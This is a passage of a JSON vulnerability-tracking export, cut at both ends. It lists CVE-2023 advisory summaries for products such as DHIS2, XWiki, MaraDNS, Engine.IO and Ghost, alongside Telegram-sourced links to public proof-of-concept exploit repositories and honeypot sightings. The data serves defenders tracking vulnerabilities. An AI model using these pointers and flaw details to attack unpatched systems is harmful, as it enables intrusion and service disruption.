DHIS2, an information system for data capture. Starting in the 2.37 branch and prior to versions 2.37.9.1, 2.38.3.1, and 2.39.1.2, Personal Access Tokens (PATs) generate unrestricted session cookies. This may lead to a bypass of other access restrictions (for example, based on allowed IP addresses or HTTP methods). DHIS2 implementers should upgrade to a supported version of DHIS2: 2.37.9.1, 2.38.3.1, or 2.39.1.2. Implementers can work around this issue by adding extra access control validations on a reverse proxy.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T18:43:40.000000Z"}, {"uuid": "380d3a32-62c0-4b81-aee2-aedb4ec60897", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31143", "type": "seen", "source": "https://t.me/cibsecurity/63620", "content": "\u203c CVE-2023-31143 \u203c\n\nmage-ai is an open-source data pipeline tool for transforming and integrating data. Those who use Mage starting in version 0.8.34 and prior to 0.8.72 with user authentication enabled may be affected by a vulnerability. The terminal could be accessed by users who are not signed in or do not have editor permissions. Version 0.8.72 contains a fix for this issue.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-31T16:41:43.000000Z"}, {"uuid": "f4a61021-c42d-45ec-ad2e-db69c2f868ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31981", "type": "seen", "source": "https://t.me/cibsecurity/63618", "content": "\u203c CVE-2023-31981 \u203c\n\nSngrep v1.6.0 was discovered to contain a stack buffer overflow via the function packet_set_payload at /src/packet.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T18:38:38.000000Z"}, {"uuid": "e218634c-00b6-4788-8392-892add28e9bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31126", "type": "seen", "source": "https://t.me/cibsecurity/63602", "content": "\u203c CVE-2023-31126 \u203c\n\n`org.xwiki.commons:xwiki-commons-xml` is an XML library used by the open-source wiki platform XWiki. The HTML sanitizer, introduced in version 14.6-rc-1, allows the injection of arbitrary HTML code and thus cross-site scripting via invalid data attributes. This vulnerability does not affect restricted cleaning in HTMLCleaner as there attributes are cleaned and thus characters like `/` and `>` are removed in all attribute names. This problem has been patched in XWiki 14.10.4 and 15.0 RC1 by making sure that data attributes only contain allowed characters. There are no known workarounds apart from upgrading to a version including the fix.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T16:38:41.000000Z"}, {"uuid": "40808336-9286-4bfb-9802-ab556b55b77e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31975", "type": "seen", "source": "https://t.me/cibsecurity/63599", "content": "\u203c CVE-2023-31975 \u203c\n\nyasm v1.3.0 was discovered to contain a memory leak via the function yasm_intnum_copy at /libyasm/intnum.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T16:38:36.000000Z"}, {"uuid": "8466f09b-4f14-4780-94a0-e1cd020b6e21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31180", "type": "seen", "source": "https://t.me/cibsecurity/63516", "content": "\u203c CVE-2023-31180 \u203c\n\nWJJ Software - InnoKB Server, InnoKB/Console 2.2.1 - Reflected cross-site scripting (RXSS) through an unspecified request.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T00:51:02.000000Z"}, {"uuid": "f181b381-64c1-41dc-93b5-4e643a7c0dba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31181", "type": "seen", "source": "https://t.me/cibsecurity/63493", "content": "\u203c CVE-2023-31181 \u203c\n\nWJJ Software - InnoKB Server, InnoKB/Console 2.2.1 - CWE-22: Path Traversal\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T00:43:07.000000Z"}, {"uuid": "3f302a55-df8a-4e75-b78e-b7eb5e366cf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31974", "type": "seen", "source": "https://t.me/cibsecurity/63592", "content": "\u203c CVE-2023-31974 \u203c\n\nyasm v1.3.0 was discovered to contain a use after free via the function error at /nasm/nasm-pp.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T16:38:27.000000Z"}, {"uuid": "aa353021-2113-492d-9371-730d736b91fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31137", "type": "seen", "source": "https://t.me/cibsecurity/63625", "content": "\u203c CVE-2023-31137 \u203c\n\nMaraDNS is open-source software that implements the Domain Name System (DNS). In version 3.5.0024 and prior, a remotely exploitable integer underflow vulnerability in the DNS packet decompression function allows an attacker to cause a Denial of Service by triggering an abnormal program termination.The vulnerability exists in the `decomp_get_rddata` function within the `Decompress.c` file. When handling a DNS packet with an Answer RR of qtype 16 (TXT record) and any qclass, if the `rdlength` is smaller than `rdata`, the result of the line `Decompress.c:886` is a negative number `len = rdlength - total;`. This value is then passed to the `decomp_append_bytes` function without proper validation, causing the program to attempt to allocate a massive chunk of memory that is impossible to allocate. Consequently, the program exits with an error code of 64, causing a Denial of Service.One proposed fix for this vulnerability is to patch `Decompress.c:887` by breaking `if(len <= 0)`, which has been incorporated in version 3.5.0036 via commit bab062bde40b2ae8a91eecd522e84d8b993bab58.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T18:43:44.000000Z"}, {"uuid": "c4eec927-a6f6-4494-97c6-1d3afeab565d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31406", "type": "seen", "source": "https://t.me/cibsecurity/63566", "content": "\u203c CVE-2023-31406 \u203c\n\nDue to insufficient input validation, SAP BusinessObjects Business Intelligence Platform - versions 420, 430, allows an unauthenticated attacker to redirect users to untrusted site using a malicious link. On successful exploitation, an attacker can view or modify information causing a limited impact on confidentiality and integrity of the application.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T07:43:24.000000Z"}, {"uuid": "fc318a7a-2af9-48e1-a101-d537f7c37012", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31138", "type": "seen", "source": "https://t.me/cibsecurity/63617", "content": "\u203c CVE-2023-31138 \u203c\n\nDHIS2 Core contains the service layer and Web API for DHIS2, an information system for data capture. Starting in the 2.36 branch and prior to versions 2.37.9.1, 2.38.3.1, and 2.39.1.2, using object model traversal in the payload of a PATCH request, authenticated users with write access to an object may be able to modify related objects that they should not have access to. DHIS2 implementers should upgrade to a supported version of DHIS2 to receive a patch: 2.37.9.1, 2.38.3.1, or 2.39.1.2. It is possible to work around this issue by blocking all PATCH requests on a reverse proxy, but this may cause some issues with the functionality of built-in applications using legacy PATCH requests.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T18:38:37.000000Z"}, {"uuid": "9c5a1057-04e3-41b9-a71e-9600c4db6703", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31973", "type": "seen", "source": "https://t.me/cibsecurity/63616", "content": "\u203c CVE-2023-31973 \u203c\n\nyasm v1.3.0 was discovered to contain a use after free via the function expand_mmac_params at /nasm/nasm-pp.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T18:38:37.000000Z"}, {"uuid": "7419ddf5-2c2d-4cf1-93fd-e452ba58b286", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31125", "type": "seen", "source": "https://t.me/cibsecurity/63501", "content": "\u203c CVE-2023-31125 \u203c\n\nEngine.IO is the implementation of transport-based cross-browser/cross-device bi-directional communication layer for Socket.IO. An uncaught exception vulnerability was introduced in version 5.1.0 and included in version 4.1.0 of the `socket.io` parent package. Older versions are not impacted. A specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process. This impacts all the users of the `engine.io` package, including those who use depending packages like `socket.io`. This issue was fixed in version 6.4.2 of Engine.IO. There is no known workaround except upgrading to a safe version.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T00:47:55.000000Z"}, {"uuid": "ed135bb3-ff1b-49e0-a697-3ffbdf5e7fe0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31183", "type": "seen", "source": "https://t.me/cibsecurity/63486", "content": "\u203c CVE-2023-31183 \u203c\n\nCybonet PineApp Mail Secure\u00c2\u00a0A reflected cross-site scripting (XSS) vulnerability was identified in the product, using an unspecified endpoint.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T00:42:58.000000Z"}, {"uuid": "25060f32-7349-4169-8aea-084549ea4561", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31133", "type": "seen", "source": "https://t.me/cibsecurity/63483", "content": "\u203c CVE-2023-31133 \u203c\n\nGhost is an app for new-media creators with tools to build a website, publish content, send newsletters, and offer paid subscriptions to members. Prior to version 5.46.1, due to a lack of validation when filtering on the public API endpoints, it is possible to reveal private fields via a brute force attack.Ghost(Pro) has already been patched. Maintainers can find no evidence that the issue was exploited on Ghost(Pro) prior to the patch being added. Self-hosters are impacted if running Ghost a version below v5.46.1. v5.46.1 contains a fix for this issue. As a workaround, add a block for requests to `/ghost/api/content/*` where the `filter` query parameter contains `password` or `email`.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T00:42:52.000000Z"}, {"uuid": "7b3541b4-bebf-47dd-80f8-a97d582086df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31140", "type": "seen", "source": "https://t.me/cibsecurity/63470", "content": "\u203c CVE-2023-31140 \u203c\n\nOpenProject is open source project management software. Starting with version 7.4.0 and prior to version 12.5.4, when a user registers and confirms their first two-factor authentication (2FA) device for an account, existing logged in sessions for that user account are not terminated. Likewise, if an administrators creates a mobile phone 2FA device on behalf of a user, their existing sessions are not terminated. The issue has been resolved in OpenProject version 12.5.4 by actively terminating sessions of user accounts having registered and confirmed a 2FA device. As a workaround, users who register the first 2FA device on their account can manually log out to terminate all other active sessions. This is the default behavior of OpenProject but might be disabled through a configuration option. Double check that this option is not overridden if one plans to employ the workaround.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T00:38:11.000000Z"}, {"uuid": "2f7434da-a51b-4430-929f-eb1c760948fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31179", "type": "seen", "source": "https://t.me/cibsecurity/63469", "content": "\u203c CVE-2023-31179 \u203c\n\nAgilePoint NX v8.0 SU2.2 & SU2.3 - Path traversal -\u00c2\u00a0Vulnerability allows path traversal and downloading files from the server, by an unspecified request.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T00:38:10.000000Z"}, {"uuid": "a53f4d49-806f-424a-bd16-1247a907f04f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-29)", "content": "", "creation_timestamp": "2026-04-29T00:00:00.000000Z"}, {"uuid": "9cc39e93-081a-4872-b7a6-5dbf05c6e76b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3106", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/18334", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *linux-4.1.15_CVE-2023-3106*\nGithub: https://github.com/nidhi7598/linux-4.1.15_CVE-2023-3106", "creation_timestamp": "2026-07-30T01:00:08.741849Z"}, {"uuid": "b3e135f5-3645-4413-bd27-9943964bb143", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31851", "type": "seen", "source": "https://t.me/CVEhub/16998", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31851*\nGithub: https://github.com/CalfCrusher/CVE-2023-31851", "creation_timestamp": "2026-07-30T01:00:17.663977Z"}, {"uuid": "e97a0911-59cb-4f44-af0d-4b324c8bff46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31717", "type": "published-proof-of-concept", "source": "Telegram/lHKFDBRntVLEnzL4VqEuPiY-Vt8pAa9hTd9KwEhxy_XdixQ", "content": "", "creation_timestamp": "2026-08-31T00:00:46.306407Z"}, {"uuid": "fabf17f2-972b-4ace-b127-15ac0c6715c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-31)", "content": "", "creation_timestamp": "2026-08-01T10:00:08.019503Z"}, {"uuid": "db055453-93a4-4b67-ba1f-6a57479a99a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-31)", "content": "", "creation_timestamp": "2026-08-01T10:15:08.678911Z"}, {"uuid": "04da7368-fda3-4798-907c-5489714e12cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31070", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/3432", "content": "CVE-2023-31070 Broadcom BCM47xx SDK EMF slab-out-of-bounds write - the uncomfortable reality of the IoT Linux kernel space https://bugprove.com/knowledge-hub/cve-2023-31070-broadcom-bcm-47xx-sdk-emf-slab-out-of-bounds-write/", "creation_timestamp": "2026-08-03T01:49:20.117278Z"}, {"uuid": "9a22cf95-d537-4d39-bfe3-1c74b6b1a1eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31248", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/3583", "content": "CVE-2023-31248 PoC  https://github.com/kungfulon/nf-tables-lpe/tree/master/chain-active", "creation_timestamp": "2026-08-03T01:57:09.017541Z"}, {"uuid": "2fff2dc7-a82d-4ad3-9899-1a3cca9cb9c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31902", "type": "published-proof-of-concept", "source": "Telegram/BFn73ye4I22p3l9ZSU-7kwmDMvPC8gRVocVjRqoCFg71Nis", "content": "", "creation_timestamp": "2026-08-04T08:00:05.914991Z"}, {"uuid": "8a8c8601-55c8-4d06-8ca1-10a6e632ebc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31248", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/3977", "content": "nftables Adventures: Bug Hunting and N-day Exploitation (CVE-2023-31248) https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation/", "creation_timestamp": "2026-08-03T02:07:12.531372Z"}, {"uuid": "2e3d6718-6380-4df7-abea-58e686b08bda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31664", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/13247", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31664*\nGithub: https://github.com/adilkhan7/CVE-2023-31664", "creation_timestamp": "2026-07-31T00:00:10.243732Z"}, {"uuid": "09d6e259-2c82-45f0-9fdd-4e62ceb11838", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31702", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/13329", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31702*\nGithub: https://github.com/2019000102494/CVE-2023-31702", "creation_timestamp": "2026-07-31T00:00:10.292712Z"}, {"uuid": "c1059556-9b78-40f3-bd61-38a9a04f2414", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31634", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/13251", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31634*\nGithub: https://github.com/XC9409/CVE-2023-31634", "creation_timestamp": "2026-07-31T00:00:10.333497Z"}, {"uuid": "b3d44426-e751-43c3-9e79-a3ed2688f57b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31726", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/13527", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31726*\nGithub: https://github.com/J6451/CVE-2023-31726", "creation_timestamp": "2026-07-31T00:00:10.675979Z"}, {"uuid": "e1c8556c-a6cc-45cb-8f52-833bdae5c57c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31503", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/12805", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#rce\nName: *CVE-2023-31503*\nGithub: https://github.com/ViCrack/CVE-2023-31503", "creation_timestamp": "2026-07-31T00:00:08.824429Z"}, {"uuid": "99977079-3529-4f12-8613-b898200fc249", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31584", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/13126", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31584*\nGithub: https://github.com/rootd4ddy/CVE-2023-31584", "creation_timestamp": "2026-07-31T00:00:09.990354Z"}, {"uuid": "b9671bee-75ec-4903-9329-ccd81b133ac5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31606", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/14254", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31606*\nGithub: https://github.com/e23e/CVE-2023-31606", "creation_timestamp": "2026-07-31T00:00:26.411345Z"}, {"uuid": "460080f7-bc3d-41d0-9fb9-3723caf8cac9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31702", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/13065", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31702*\nGithub: https://github.com/sahiloj/CVE-2023-31702", "creation_timestamp": "2026-07-31T00:00:09.629188Z"}, {"uuid": "47389e0e-5919-4923-9433-f36e48ad27c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31703", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/13064", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31703*\nGithub: https://github.com/sahiloj/CVE-2023-31703", "creation_timestamp": "2026-07-31T00:00:09.671479Z"}, {"uuid": "ebda47f8-35d8-43db-8cba-5bcdab2f20e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31595", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/13610", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31595*\nGithub: https://github.com/Yozarseef95/CVE-2023-31595", "creation_timestamp": "2026-07-31T00:00:11.215516Z"}, {"uuid": "c17d09e3-381f-48d4-8a7a-1645610d9d99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31594", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/13605", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31594*\nGithub: https://github.com/Yozarseef95/CVE-2023-31594", "creation_timestamp": "2026-07-31T00:00:11.265205Z"}, {"uuid": "861948ca-cedb-4942-bc55-193132bb0a79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31747", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/13644", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31747_filmora-unquoted*\nGithub: https://github.com/msd0pe-1/CVE-2023-31747_filmora-unquoted", "creation_timestamp": "2026-07-31T00:00:23.047295Z"}, {"uuid": "2b4478d5-5c77-47ab-978a-ccbf3858d105", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31711", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/14083", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31711*\nGithub: https://github.com/HritikThapa7/CVE-2023-31711", "creation_timestamp": "2026-07-31T00:00:25.385817Z"}, {"uuid": "a7f046dd-bc4a-416a-bab5-424bd681d32a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31541", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/14727", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31541*\nGithub: https://github.com/DreamD2v/CVE-2023-31541", "creation_timestamp": "2026-07-31T00:00:29.122866Z"}, {"uuid": "7ad741bb-e12e-44dc-a471-0408612fa7ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31541", "type": "published-proof-of-concept", "source": "https://t.me/HackerOne/3515", "content": "A unrestricted file upload vulnerability was discovered in the \u2018Browse and upload images\u2019 feature of the CKEditor v1.2.3 plugin for Redmine, which allows arbitrary files to be uploaded to the server.\n\nhttps://github.com/DreamD2v/CVE-2023-31541/blob/main/CVE-2023-31541.md", "creation_timestamp": "2023-06-27T16:22:20.000000Z"}, {"uuid": "43346af1-2f00-4079-a376-63a92308f9ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31851", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/16998", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31851*\nGithub: https://github.com/CalfCrusher/CVE-2023-31851", "creation_timestamp": "2026-07-31T00:00:42.452118Z"}, {"uuid": "a4af3e5d-449e-433e-b4d5-f180092f75db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31853", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/17000", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31853*\nGithub: https://github.com/CalfCrusher/CVE-2023-31853", "creation_timestamp": "2026-07-31T00:00:42.512831Z"}, {"uuid": "db0c7bb6-2bc9-4aaa-87a1-7d3c677fdfba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31852", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/16999", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31852*\nGithub: https://github.com/CalfCrusher/CVE-2023-31852", "creation_timestamp": "2026-07-31T00:00:42.541699Z"}, {"uuid": "42462525-e49f-454c-980d-c8c6c105530a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31705", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/16909", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31705*\nGithub: https://github.com/d34dun1c02n/CVE-2023-31705", "creation_timestamp": "2026-07-31T00:00:41.551406Z"}, {"uuid": "5e93c500-ef71-4ecb-b02a-411138cb9ee0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31704", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/16908", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31704*\nGithub: https://github.com/d34dun1c02n/CVE-2023-31704", "creation_timestamp": "2026-07-31T00:00:41.589921Z"}, {"uuid": "c27a73bf-e14f-44f0-aa21-859ca55b9e8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31753", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/17368", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31753*\nGithub: https://github.com/khmk2k/CVE-2023-31753", "creation_timestamp": "2026-07-31T00:00:43.637755Z"}, {"uuid": "10b0be30-9337-45da-a227-9432171c2b0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31435", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/12033", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31435*\nGithub: https://github.com/trustcves/CVE-2023-31435", "creation_timestamp": "2026-07-31T01:00:03.718433Z"}, {"uuid": "de4d823b-a7a7-4d2f-8629-9bf2c0d81efc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31434", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/12035", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31434*\nGithub: 